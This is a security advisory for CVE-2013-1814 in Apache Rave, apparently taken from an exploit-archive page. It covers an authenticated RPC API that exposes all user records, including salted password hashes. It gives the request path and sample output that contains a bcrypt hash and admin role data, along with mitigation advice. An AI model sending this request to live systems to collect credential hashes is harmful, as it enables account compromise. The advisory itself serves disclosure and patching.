1f79ff2236
3 new exploits WordPress Freshmail - Unauthenticated SQL Injection WordPress Plugin Freshmail 1.5.8 - Unauthenticated SQL Injection Express Zip <= 2.40 - Path Traversal Apple Intel HD 3000 Graphics driver 10.0.0 - Local Privilege Escalation op5 7.1.9 - Remote Command Execution
52 lines
No EOL
2.1 KiB
Text
Executable file
52 lines
No EOL
2.1 KiB
Text
Executable file
CVE-2013-1814: Apache Rave exposes User over API
|
|
|
|
Severity: Important
|
|
|
|
Vendor: The Apache Software Foundation
|
|
|
|
Versions Affected:
|
|
Rave 0.11 to 0.20
|
|
|
|
Description:
|
|
Rave returns the full user object, including the salted and hashed
|
|
password, via the User RPC API. This endpoint is only available to
|
|
authenticated users, but will return all User objects in the database
|
|
given the correct query.
|
|
|
|
Mitigation:
|
|
All users who rely on Rave's user management capabilities should
|
|
upgrade to 0.20.1 or later.
|
|
If an upgrade is infeasible, restrict access to the /app/api/user URL
|
|
paths via Spring Security configuration or other means.
|
|
|
|
Example:
|
|
A request to:
|
|
|
|
/app/api/rpc/users/get?offset=OFFSET
|
|
|
|
will return the following:
|
|
|
|
{"error":false,"errorMessage":null,"errorCode":"NO_ERROR","result":{"result=
|
|
Set":[{"entityId":1,"username":"canonical","email":"canonical@example.com",=
|
|
"displayName":"Canonical
|
|
User","additionalName":"canonical","familyName":"User","givenName":"Canonic=
|
|
al","honorificPrefix":null,"honorificSuffix":null,"preferredName":null,"abo=
|
|
utMe":null,"status":"Single","addresses":[],"organizations":[],"properties"=
|
|
:[{"entityId":1,"type":"thumbnailUrl","value":"http://opensocial2.org:8080/=
|
|
collabapp/images/avatars/BillRanney.jpg","qualifier":null,"extendedValue":n=
|
|
ull,"primary":null,"id":"1"}],"password":"$2a$10$TkEgze5kLy9nRlfd8PT1zunh6P=
|
|
1ND8WPjLojFjAMNgZMu1D9D1n4.","expired":false,"locked":false,"enabled":true,=
|
|
"openId":null,"forgotPasswordHash":null,"forgotPasswordTime":null,"defaultP=
|
|
ageLayout":{"entityId":4,"code":"columns_3","numberOfRegions":3,"renderSequ=
|
|
ence":3,"userSelectable":true},"confirmPassword":null,"defaultPageLayoutCod=
|
|
e":null,"authorities":[{"entityId":2,"authority":"ROLE_ADMIN","users":[],"d=
|
|
efaultForNewUser":false}],"id":"1","accountNonLocked":true,"credentialsNonE=
|
|
xpired":true,"accountNonExpired":true},
|
|
........ ],"pageSize":10,"offset":0,"totalResults":14,"numberOfPages":2,"cu=
|
|
rrentPage":1}}
|
|
|
|
Credit:
|
|
This issue was discovered by Andreas Guth of RWTH Aachen University.
|
|
|
|
References:
|
|
http://tomcat.apache.org/security.html |